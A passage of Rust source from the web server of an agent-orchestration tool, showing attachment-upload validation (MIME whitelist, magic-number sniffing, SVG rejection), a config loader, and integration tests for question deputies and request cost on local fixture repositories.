9873        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9874        let icon = effective_persona_icon(
9875            &ui.home,
9876            &wanted,
9877            found.as_ref().and_then(|p| p.icon.as_deref()),
9878        );
9879        if found.is_none() && icon.is_none() {
9880            return Ok(builtin_avatar(persona::DEFAULT_ID));
9881        }
9882        let Some(icon) = icon
9883            .as_deref()
9884            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9885        else {
9886            return Ok(builtin_avatar(&wanted));
9887        };
9888        let Some(found) = found else {
9889            return Ok(raster_or_builtin(
9890                Some(icon),
9891                persona_icon::builtin_svg(&wanted),
9892            ));
9893        };
9894        match persona_icon::load(icon) {
9895            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9896                let mut res = attachment_response(mime, bytes);
9897                res.headers_mut().insert(
9898                    header::CACHE_CONTROL,
9899                    header::HeaderValue::from_static("no-cache"),
9900                );
9901                Ok(res)
9902            }
9903            Ok((mime, _)) => {
9904                tracing::warn!(
9905                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9906                    found.id
9907                );
9908                Ok(builtin_avatar(&found.id))
9909            }
9910            Err(e) => {
9911                tracing::warn!(
9912                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9913                    found.id
9914                );
9915                Ok(builtin_avatar(&found.id))
9916            }
9917        }
9918    })
9919    .await
9920}
9921
9922/// Validate an attachment upload's declared `Content-Type` and the bytes
9923/// themselves, returning the canonical mime on success.
9924///
9925/// Two checks, both required: the header has to name one of
9926/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9927/// simply never in the list, active content rather than a picture, the same
9928/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9929/// magic number has to agree. The second is what stops a mislabeled upload -
9930/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9931/// a declared type is a claim, not a fact, so it is never trusted alone.
9932fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9933    if data.len() > ATTACHMENT_MAX_BYTES {
9934        return Err(ApiError::bad_request(format!(
9935            "attachment is {} bytes, over the {} MiB limit",
9936            data.len(),
9937            ATTACHMENT_MAX_BYTES / (1024 * 1024)
9938        ))
9939        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9940    }
9941    if data.is_empty() {
9942        return Err(ApiError::bad_request("attachment is empty"));
9943    }
9944    let declared = declared_mime(headers)?;
9945    match sniffed_mime(data) {
9946        Some(sniffed) if sniffed == declared => Ok(declared),
9947        Some(sniffed) => Err(ApiError::bad_request(format!(
9948            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9949        ))),
9950        None => Err(ApiError::bad_request(
9951            "the file's bytes do not match any accepted image format",
9952        )),
9953    }
9954}
9955
9956/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
9957/// and nothing else - parameters like `; charset=` are stripped, but the
9958/// value itself is not otherwise interpreted.
9959fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9960    let raw = headers
9961        .get(header::CONTENT_TYPE)
9962        .and_then(|v| v.to_str().ok())
9963        .unwrap_or("")
9964        .split(';')
9965        .next()
9966        .unwrap_or("")
9967        .trim()
9968        .to_ascii_lowercase();
9969    ATTACHMENT_MIME_WHITELIST
9970        .iter()
9971        .find(|&&m| m == raw)
9972        .copied()
9973        .ok_or_else(|| {
9974            if raw == "image/svg+xml" {
9975                ApiError::bad_request(
9976                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
9977                     not just a picture",
9978                )
9979            } else if raw.is_empty() {
9980                ApiError::bad_request("Content-Type is required for an attachment upload")
9981            } else {
9982                ApiError::bad_request(format!(
9983                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9984                     image/gif or image/webp"
9985                ))
9986            }
9987        })
9988}
9989
9990/// Identify an image by its magic number, independent of whatever
9991/// `Content-Type` claimed.
9992fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
9993    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
9994        Some("image/png")
9995    } else if data.starts_with(b"\xff\xd8\xff") {
9996        Some("image/jpeg")
9997    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
9998        Some("image/gif")
9999    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10000        Some("image/webp")
10001    } else {
10002        None
10003    }
10004}
10005
10006/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10007/// display - see [`talk::Attachment::name`]'s doc on why it never
10008/// contributes to a path. A missing or blank header (curl without it, an
10009/// older front end) falls back to a generic name rather than refusing the
10010/// upload over a field that is cosmetic.
10011fn filename_header(headers: &HeaderMap) -> String {
10012    headers
10013        .get(FILENAME_HEADER)
10014        .and_then(|v| v.to_str().ok())
10015        .map(str::trim)
10016        .filter(|s| !s.is_empty())
10017        .unwrap_or("attachment")
10018        .to_owned()
10019}
10020
10021/// Every attachment `GET` response: the mime re-validated against the same
10022/// closed whitelist the upload route enforces - never the string trusted
10023/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10024/// cannot decide it knows better than the type we send. Unlike a panel asset
10025/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10026/// document renders inline, not agent-authored HTML in a sandboxed frame.
10027fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10028    let content_type = ATTACHMENT_MIME_WHITELIST
10029        .iter()
10030        .find(|&&m| m == mime)
10031        .copied()
10032        .unwrap_or("application/octet-stream");
10033    (
10034        [
10035            (header::CONTENT_TYPE, content_type),
10036            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10037        ],
10038        body,
10039    )
10040        .into_response()
10041}
10042
10043/// The configuration for a repository, read off the disk for this request.
10044///
10045/// Through [`blocking`] because discovery reads and merges several TOML files,
10046/// and because the alternative - caching it in [`Ui`] at startup - would mean
10047/// the operator's phone kept interviewing with a roster they had already
10048/// changed, with no way to reload it but restarting the server they are not
10049/// sitting in front of.
10050async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10051    let repo = repo.to_path_buf();
10052    blocking(move || {
10053        let (cfg, _) = Config::discover(&repo, None)?;
10054        Ok(cfg)
10055    })
10056    .await
10057}
10058
10059/// The one prefix rule, used for both runs and tasks: a leading match for a
10060/// full id, a trailing match for the short form an operator reads off a
10061/// report. Written here rather than borrowed from `queue::resolve_id` because
10062/// the UI needs the two failures as different status codes, and telling them
10063/// apart from an error message is not something to build a route on.
10064fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10065    let mut hits = ids
10066        .into_iter()
10067        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10068    match (hits.next(), hits.next()) {
10069        (Some(one), None) => Ok(one),
10070        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10071        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10072            "`{prefix}` matches more than one {what}, including {a} and {b}"
10073        ))),
10074    }
10075}
10076
10077#[cfg(test)]
10078mod tests {
10079
10080    #[test]
10081    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10082        let dir = tempfile::tempdir().unwrap();
10083        let store = ask::Questions::at(dir.path().join("questions"));
10084        let mut q = Question::new(
10085            "task".to_owned(),
10086            "conduct".to_owned(),
10087            "conduct".to_owned(),
10088            "choose".to_owned(),
10089            String::new(),
10090            vec!["keep".to_owned()],
10091        );
10092        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10093        q.say("why?").unwrap();
10094        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10095        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10096        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10097        store.put(&mut q).unwrap();
10098        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10099        assert_eq!(store.count_needs_owner(), 1);
10100        store.beat(&q.id, ask::WaiterKind::Deputy);
10101        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10102        assert_eq!(store.count_needs_owner(), 0);
10103        let mut stale = store.read_lease(&q.id).unwrap();
10104        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10105        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10106        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10107        assert!(view.deputy_exhausted);
10108        assert!(view.waiting_on_agent);
10109        assert_eq!(view.question.choices, ["keep"]);
10110        store.drop_lease(&q.id);
10111        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10112        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10113    }
10114
10115    #[test]
10116    fn holder_reads_the_lease_not_the_record() {
10117        let mut q = Question::new(
10118            "run".to_owned(),
10119            "implement".to_owned(),
10120            "impl-A".to_owned(),
10121            "which?".to_owned(),
10122            String::new(),
10123            Vec::new(),
10124        );
10125        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10126        q.cwd = Some("/tmp".to_owned());
10127        assert_eq!(holder_of(&q, None), Some("nobody"));
10128        let beat = |kind, ago: i64| ask::Lease {
10129            kind,
10130            pid: 1,
10131            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10132                .unwrap(),
10133        };
10134        let fresh = beat(ask::WaiterKind::Asker, 1);
10135        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10136        let daemon = beat(ask::WaiterKind::Daemon, 1);
10137        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10138        let stale = beat(ask::WaiterKind::Asker, 3600);
10139        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10140
10141        // A conductor question says "deputy" only while one is attached and
10142        // alive, and "nobody" - never silence - when nothing ever listened.
10143        let mut c = Question::new(
10144            "task".to_owned(),
10145            crate::conduct::NODE.to_owned(),
10146            "conduct".to_owned(),
10147            "which?".to_owned(),
10148            String::new(),
10149            Vec::new(),
10150        );
10151        assert_eq!(holder_of(&c, None), Some("nobody"));
10152        c.cwd = Some("/tmp".to_owned());
10153        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10154        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10155        let deputy = beat(ask::WaiterKind::Deputy, 1);
10156        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10157        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10158
10159        // A release-watch question: nobody until a deputy is attached.
10160        let mut r = Question::new(
10161            String::new(),
10162            crate::bump::NOTICE_NODE.to_owned(),
10163            "release-watch".to_owned(),
10164            "stuck?".to_owned(),
10165            String::new(),
10166            vec!["hold".to_owned()],
10167        );
10168        assert_eq!(holder_of(&r, None), Some("nobody"));
10169        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10170        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10171        // A choice-less bump notice is nobody's question at all.
10172        r.deputy = None;
10173        r.seat = "bump".to_owned();
10174        assert_eq!(holder_of(&r, None), None);
10175
10176        // A merge approval is the same: nobody until a deputy is attached
10177        // and alive, never a silent "no holder".
10178        let mut m = Question::new(
10179            "run".to_owned(),
10180            crate::land::APPROVAL_NODE.to_owned(),
10181            "land".to_owned(),
10182            "merge?".to_owned(),
10183            String::new(),
10184            Vec::new(),
10185        );
10186        assert_eq!(holder_of(&m, None), Some("nobody"));
10187        assert_eq!(
10188            holder_of(&m, Some(&fresh)),
10189            Some("asker"),
10190            "a live explicit wait is a listener even before a deputy is attached"
10191        );
10192        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10193        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10194        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10195        assert_eq!(holder_of(&m, None), Some("nobody"));
10196    }
10197
10198    fn stub_config() -> Config {
10199        // An explicit roster, so the result never depends on which agent CLIs
10200        // this machine has installed.
10201        Config {
10202            agents: vec![crate::config::AgentSpec {
10203                id: "stub".to_owned(),
10204                kind: AgentKind::Command,
10205                model: None,
10206                command: vec!["true".to_owned()],
10207                extra_args: Vec::new(),
10208                env: Default::default(),
10209                prompt_delivery: None,
10210            }],
10211            ..Config::default()
10212        }
10213    }
10214
10215    fn plain_question(seat: &str) -> Question {
10216        Question::new(
10217            String::new(),
10218            "n".to_owned(),
10219            seat.to_owned(),
10220            "s".to_owned(),
10221            String::new(),
10222            Vec::new(),
10223        )
10224    }
10225
10226    #[test]
10227    fn deputies_enabled_follows_the_config() {
10228        let on = stub_config();
10229        assert!(crate::deputy::can_start(Some(&on), ""));
10230        assert!(crate::deputy::can_start(Some(&on), "stub"));
10231        let mut off = on.clone();
10232        off.daemon.max_deputies = 0;
10233        assert!(!crate::deputy::can_start(Some(&off), ""));
10234        let mut empty = on;
10235        empty.agents.clear();
10236        assert!(!crate::deputy::can_start(Some(&empty), ""));
10237        assert!(!crate::deputy::can_start(None, ""));
10238    }
10239
10240    #[test]
10241    fn question_views_load_the_config_once() {
10242        let dir = TempDir::new().unwrap();
10243        let store = ask::Questions::at(dir.path().to_path_buf());
10244        let mut with_deputy = plain_question("b");
10245        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10246        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10247
10248        let calls = std::cell::Cell::new(0usize);
10249        let views = question_views(qs.clone(), &store, || {
10250            calls.set(calls.get() + 1);
10251            Some(stub_config())
10252        });
10253        assert_eq!(calls.get(), 1);
10254        assert_eq!(views.len(), 3);
10255        for (v, q) in views.iter().zip(&qs) {
10256            assert_eq!(
10257                v.deputies_enabled,
10258                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10259            );
10260        }
10261
10262        let views = question_views(qs, &store, || None);
10263        assert!(views.iter().all(|v| !v.deputies_enabled));
10264
10265        let calls = std::cell::Cell::new(0usize);
10266        let views = question_views(Vec::new(), &store, || {
10267            calls.set(calls.get() + 1);
10268            None
10269        });
10270        assert!(views.is_empty());
10271        assert_eq!(calls.get(), 0);
10272    }
10273
10274    use pretty_assertions::assert_eq;
10275    use serde_json::Value;
10276    use tempfile::TempDir;
10277    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10278
10279    use super::*;
10280    use crate::config::Config;
10281    use crate::queue::Source;
10282
10283    /// How many 10ms steps a settle loop takes before it calls a stall a
10284    /// stall - thirty seconds.
10285    ///
10286    /// These loops wait on real `sh` subprocesses, and the machine that runs
10287    /// the gate runs several suites at once, so a two-second budget was not
10288    /// waiting for the reply, it was racing the scheduler: two of these
10289    /// tests failed under that load with the turn simply not landed yet.
10290    /// This is a hang guard, not a latency assertion - every loop breaks the
10291    /// moment its condition holds, so a generous cap costs an idle machine
10292    /// nothing and still fails a genuine hang instead of hanging the suite.
10293    const SETTLE_STEPS: usize = 3_000;
10294
10295    /// A home with a queue and a runs directory, and a router serving it on
10296    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10297    /// dependency, not ours - so the tests drive a real socket, which has the
10298    /// side benefit of asserting the status line and content types the phone
10299    /// actually receives.
10300    struct Fixture {
10301        home: TempDir,
10302        addr: SocketAddr,
10303    }
10304
10305    impl Fixture {
10306        async fn start() -> Self {
10307            Self::with_loop(launch_idle).await
10308        }
10309
10310        /// A fixture whose loop is `launch`.
10311        async fn with_loop(launch: Launch) -> Self {
10312            let home = TempDir::new().expect("temp home");
10313            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10314            Self { home, addr }
10315        }
10316
10317        /// A fixture whose `ui.repo` is a real directory rather than the
10318        /// usual placeholder - for the routes that read config off it
10319        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10320        async fn with_repo(repo: PathBuf) -> Self {
10321            let home = TempDir::new().expect("temp home");
10322            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10323            Self { home, addr }
10324        }
10325
10326        /// As [`Fixture::with_repo`], with the machine-config file the
10327        /// settings screen reads and writes.
10328        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10329            let home = TempDir::new().expect("temp home");
10330            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10331            Self { home, addr }
10332        }
10333
10334        async fn serve(
10335            home: &FsPath,
10336            repo: PathBuf,
10337            launch: Launch,
10338            machine: Option<PathBuf>,
10339        ) -> SocketAddr {
10340            let queue = Queue::at(home.join("queue"));
10341            let runs = home.join("runs");
10342            std::fs::create_dir_all(&runs).expect("runs dir");
10343            let worktrees = home.join("wt").join("magi");
10344            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10345            let ui = Ui::new(
10346                queue,
10347                Questions::at(home.join("questions")),
10348                Talks::at(home.join("talks")),
10349                runs,
10350                home.to_path_buf(),
10351                repo,
10352            )
10353            .with_worktrees_root(worktrees)
10354            .with_machine_config(machine)
10355            .with_launch(launch);
10356            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10357                .await
10358                .expect("bind loopback");
10359            let addr = listener.local_addr().expect("local addr");
10360            tokio::spawn(async move {
10361                let router = ui
10362                    .router()
10363                    .layer(axum::middleware::from_fn(request_cost::observe));
10364                let _ = axum::serve(listener, router).await;
10365            });
10366            addr
10367        }
10368
10369        fn queue(&self) -> Queue {
10370            Queue::at(self.home.path().join("queue"))
10371        }
10372
10373        fn questions(&self) -> Questions {
10374            Questions::at(self.home.path().join("questions"))
10375        }
10376
10377        fn talks(&self) -> Talks {
10378            Talks::at(self.home.path().join("talks"))
10379        }
10380
10381        fn runs(&self) -> PathBuf {
10382            self.home.path().join("runs")
10383        }
10384
10385        async fn get(&self, path: &str) -> Res {
10386            request(self.addr, "GET", path, None).await
10387        }
10388
10389        /// The status and headers without the body, which is how the front end
10390        /// preflights a panel: a sandboxed frame is opaque to the parent
10391        /// document, so the only way to tell "no panel" from "a panel that
10392        /// rendered blank" is to ask before mounting.
10393        async fn head(&self, path: &str) -> Res {
10394            request(self.addr, "HEAD", path, None).await
10395        }
10396
10397        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10398            request(self.addr, "POST", path, body).await
10399        }
10400
10401        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10402            request_with(self.addr, "GET", path, None, extra).await
10403        }
10404
10405        async fn delete(&self, path: &str) -> Res {
10406            request(self.addr, "DELETE", path, None).await
10407        }
10408
10409        async fn put(&self, path: &str, body: &str) -> Res {
10410            request(self.addr, "PUT", path, Some(body)).await
10411        }
10412
10413        /// `POST` a raw body with its own headers - see [`request_bytes`].
10414        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10415            request_bytes(self.addr, path, headers, body).await
10416        }
10417    }
10418
10419    /// Real tracking refs exercise the successful discovery path (including
10420    /// extraction), rather than counting cheap failures on a placeholder repo.
10421    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10422        let tmp = TempDir::new().unwrap();
10423        let mut repos = Vec::new();
10424        for name in ["one", "two"] {
10425            let repo = tmp.path().join(name);
10426            let origin = tmp.path().join(format!("{name}.git"));
10427            std::fs::create_dir_all(&repo).unwrap();
10428            crate::git::git(&repo, &["init", "-b", "main"])
10429                .await
10430                .unwrap();
10431            std::fs::write(
10432                repo.join("magi.toml"),
10433                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10434            )
10435            .unwrap();
10436            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10437            crate::git::git(
10438                &repo,
10439                &[
10440                    "-c",
10441                    "user.name=fixture",
10442                    "-c",
10443                    "user.email=fixture@example.invalid",
10444                    "commit",
10445                    "-m",
10446                    "fixture",
10447                ],
10448            )
10449            .await
10450            .unwrap();
10451            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10452                .await
10453                .unwrap();
10454            crate::git::git(
10455                &repo,
10456                &["remote", "add", "origin", origin.to_str().unwrap()],
10457            )
10458            .await
10459            .unwrap();
10460            crate::git::git(&repo, &["push", "origin", "main"])
10461                .await
10462                .unwrap();
10463            crate::git::git(
10464                &repo,
10465                &[
10466                    "symbolic-ref",
10467                    "refs/remotes/origin/HEAD",
10468                    "refs/remotes/origin/main",
10469                ],
10470            )
10471            .await
10472            .unwrap();
10473            let (cfg, _) = Config::discover(&repo, None).unwrap();
10474            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10475            repos.push(repo);
10476        }
10477        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10478        (tmp, repos)
10479    }
10480
10481    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10482        let (tmp, repos) = performance_repositories().await;
10483        let machine = tmp.path().join("machine.toml");
10484        std::fs::write(&machine, "").unwrap();
10485        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10486        (tmp, repos, fx)
10487    }
10488
10489    fn seed_performance(
10490        fx: &Fixture,
10491        repos: &[PathBuf; 2],
10492        questions: usize,
10493        runs: usize,
10494        items: usize,
10495    ) {
10496        // Saving states directly never starts a run or changes MAGI_HOME.
10497        for i in fx.questions().list().len()..questions {
10498            let mut question = Question::new(
10499                "20261001-000000-0000".into(),
10500                "implement".into(),
10501                "impl-A".into(),
10502                format!("question {i}"),
10503                "context".into(),
10504                vec!["yes".into(), "no".into()],
10505            );
10506            question.id = format!("20261003-000000-{i:04x}");
10507            fx.questions().put(&mut question).unwrap();
10508        }
10509        for i in run_ids(&fx.runs()).len()..runs {
10510            write_run_repo(
10511                &fx.runs(),
10512                &format!("20261001-000000-{i:04x}"),
10513                RunStatus::Ready,
10514                repos[i % 2].to_str().unwrap(),
10515            );
10516        }
10517        for i in fx.talks().list().len()..items {
10518            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10519            let mut talk = fx.talks().get(&id).unwrap();
10520            talk.repo = repos[i % 2].clone();
10521            fx.talks().put(&mut talk).unwrap();
10522            let mut task = crate::queue::Task::new(
10523                format!("task {i}"),
10524                "instruction".into(),
10525                repos[i % 2].clone(),
10526                crate::queue::Source::Agent {
10527                    run: id,
10528                    node: crate::queue::CHAT_NODE.into(),
10529                },
10530            );
10531            task.id = format!("20261004-000000-{i:04x}");
10532            fx.queue().put(&mut task).unwrap();
10533            // Notices has a production retention cap; seed up to that cap.
10534            if i < crate::notices::CAP {
10535                Notices::at(fx.home.path().join("notifications"))
10536                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10537                    .unwrap();
10538            }
10539        }
10540        assert_eq!(fx.questions().list().len(), questions);
10541        assert_eq!(run_ids(&fx.runs()).len(), runs);
10542        assert_eq!(fx.talks().list().len(), items);
10543        assert_eq!(fx.queue().list().len(), items);
10544        assert_eq!(
10545            Notices::at(fx.home.path().join("notifications"))
10546                .list()
10547                .len(),
10548            items.min(crate::notices::CAP)
10549        );
10550    }
10551
10552    fn request_counts(res: &Res) -> (usize, usize) {
10553        assert_eq!(res.status, 200, "{}", res.body);
10554        (
10555            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10556            res.header("x-test-git").unwrap().parse().unwrap(),
10557        )
10558    }
10559
10560    #[tokio::test]
10561    async fn list_request_cost_is_independent_of_record_count() {
10562        let (_tmp, repos, fx) = performance_fixture().await;
10563        let mut previous = None;
10564        for n in [4, 60] {
10565            seed_performance(&fx, &repos, n, n, n);
10566            let mut costs = Vec::new();
10567            for (path, discoveries) in [
10568                ("/api/questions", 1),
10569                ("/api/talks", 2),
10570                ("/api/health", 1),
10571                ("/api/stats", 1),
10572            ] {
10573                // Equal cold extraction caches at both scales; this also
10574                // bounds first-request cost instead of only warmed requests.
10575                for repo in &repos {
10576                    let cache = repo.join(".git/magi/config");
10577                    if cache.exists() {
10578                        std::fs::remove_dir_all(cache).unwrap();
10579                    }
10580                }
10581                let cost = request_counts(&fx.get(path).await);
10582                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10583                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10584                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10585                costs.push(cost);
10586            }
10587            if let Some(previous) = previous {
10588                assert_eq!(costs, previous);
10589            }
10590            previous = Some(costs);
10591        }
10592        // runs reads shared row inputs and probes process liveness; queue
10593        // builds one blocker inventory; notifications reads its own store.
10594        // None discovers configuration or spawns git per item.
10595    }
10596
10597    /// The same handler path without transport, so the deterministic cause
10598    /// can also be checked in environments that prohibit binding sockets.
10599    #[tokio::test]
10600    async fn list_handler_cost_without_transport() {
10601        let (_tmp, repos) = performance_repositories().await;
10602        let fx = Fixture {
10603            home: TempDir::new().unwrap(),
10604            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10605        };
10606        let ui = Arc::new(
10607            Ui::new(
10608                fx.queue(),
10609                fx.questions(),
10610                fx.talks(),
10611                fx.runs(),
10612                fx.home.path().to_path_buf(),
10613                repos[0].clone(),
10614            )
10615            .with_worktrees_root(fx.home.path().join("wt")),
10616        );
10617        let mut previous = None;
10618        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10619            seed_performance(&fx, &repos, n, runs, items);
10620            let mut costs = Vec::new();
10621            for endpoint in ["questions", "talks", "health", "stats"] {
10622                for repo in &repos {
10623                    let cache = repo.join(".git/magi/config");
10624                    if cache.exists() {
10625                        std::fs::remove_dir_all(cache).unwrap();
10626                    }
10627                }
10628                let (_, cost) = request_cost::measure(async {
10629                    match endpoint {
10630                        "questions" => {
10631                            let _ = questions_list(State(ui.clone())).await.unwrap();
10632                        }
10633                        "talks" => {
10634                            let _ = talks_list(
10635                                State(ui.clone()),
10636                                Query(ListQuery {
10637                                    limit: None,
10638                                    ids: None,
10639                                }),
10640                            )
10641                            .await
10642                            .unwrap();
10643                        }
10644                        "health" => {
10645                            let _ = health(State(ui.clone())).await.unwrap();
10646                        }
10647                        _ => {
10648                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10649                                .await
10650                                .unwrap();
10651                        }
10652                    }
10653                })
10654                .await;
10655                eprintln!("{endpoint} handler N={n}: {cost:?}");
10656                assert_eq!(
10657                    cost.0,
10658                    if endpoint == "talks" { 2 } else { 1 },
10659                    "{endpoint}"
10660                );
10661                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10662                costs.push(cost);
10663            }
10664            if let Some(previous) = previous {
10665                assert_eq!(costs, previous);
10666            }
10667            previous = Some(costs);
10668        }
10669    }
10670
10671    #[tokio::test]
10672    async fn list_request_cost_scopes_do_not_mix() {
10673        let (_tmp, repos, fx) = performance_fixture().await;
10674        seed_performance(&fx, &repos, 10, 0, 10);
10675        let (questions, talks, notices) = tokio::join!(
10676            fx.get("/api/questions"),
10677            fx.get("/api/talks"),
10678            fx.get("/api/notifications")
10679        );
10680        assert_eq!(request_counts(&questions).0, 1);
10681        assert_eq!(request_counts(&talks).0, 2);
10682        assert_eq!(request_counts(&notices), (0, 0));
10683    }
10684
10685    #[tokio::test]
10686    async fn list_endpoints_large_home_ceiling() {
10687        let (_tmp, repos, fx) = performance_fixture().await;
10688        seed_performance(&fx, &repos, 200, 300, 400);
10689        let mut failures = Vec::new();
10690        // app.js boot/change loads plus the initial dashboard, settings and
10691        // repo picker. SSE is a persistent stream, not a bounded GET.
10692        for path in [
10693            "/",
10694            "/app.js",
10695            "/app.css",
10696            "/api/questions",
10697            "/api/runs?limit=300",
10698            "/api/queue",
10699            "/api/talks",
10700            "/api/notifications",
10701            "/api/health",
10702            "/api/stats",
10703            "/api/loop",
10704            "/api/settings",
10705            "/api/repos",
10706        ] {
10707            let start = std::time::Instant::now();
10708            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10709            let elapsed = start.elapsed();
10710            eprintln!("{path}: {elapsed:?}");
10711            match result {
10712                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10713                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10714                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10715            }
10716        }
10717        assert!(failures.is_empty(), "{}", failures.join("\n"));
10718    }
10719
10720    struct Res {
10721        status: u16,
10722        headers: String,
10723        /// The header block with its original casing, for the assertions that
10724        /// compare a header *value* rather than looking for a name. Lowercasing
10725        /// a CSP would hide a directive spelled with a capital letter, and the
10726        /// whole point of that test is that the string is exactly right.
10727        head: String,
10728        body: String,
10729        /// The body before any UTF-8 handling, for the routes that serve
10730        /// something other than text. A panel asset is a PNG as often as not,
10731        /// and `from_utf8_lossy` would silently replace half of it.
10732        bytes: Vec<u8>,
10733    }
10734
10735    impl Res {
10736        fn json(&self) -> Value {
10737            serde_json::from_str(&self.body)
10738                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10739        }
10740
10741        /// One header's value verbatim, or `None` when it was not sent.
10742        fn header(&self, name: &str) -> Option<&str> {
10743            self.head.lines().find_map(|line| {
10744                let (key, value) = line.split_once(':')?;
10745                key.trim()
10746                    .eq_ignore_ascii_case(name)
10747                    .then(|| value.trim_start().trim_end_matches('\r'))
10748            })
10749        }
10750    }
10751
10752    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
10753    /// be read to end-of-stream without parsing framing.
10754    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10755        request_with(addr, method, path, body, &[]).await
10756    }
10757
10758    /// As [`request`], with extra request headers - conditional GETs need
10759    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
10760    /// worse than one that sets none.
10761    async fn request_with(
10762        addr: SocketAddr,
10763        method: &str,
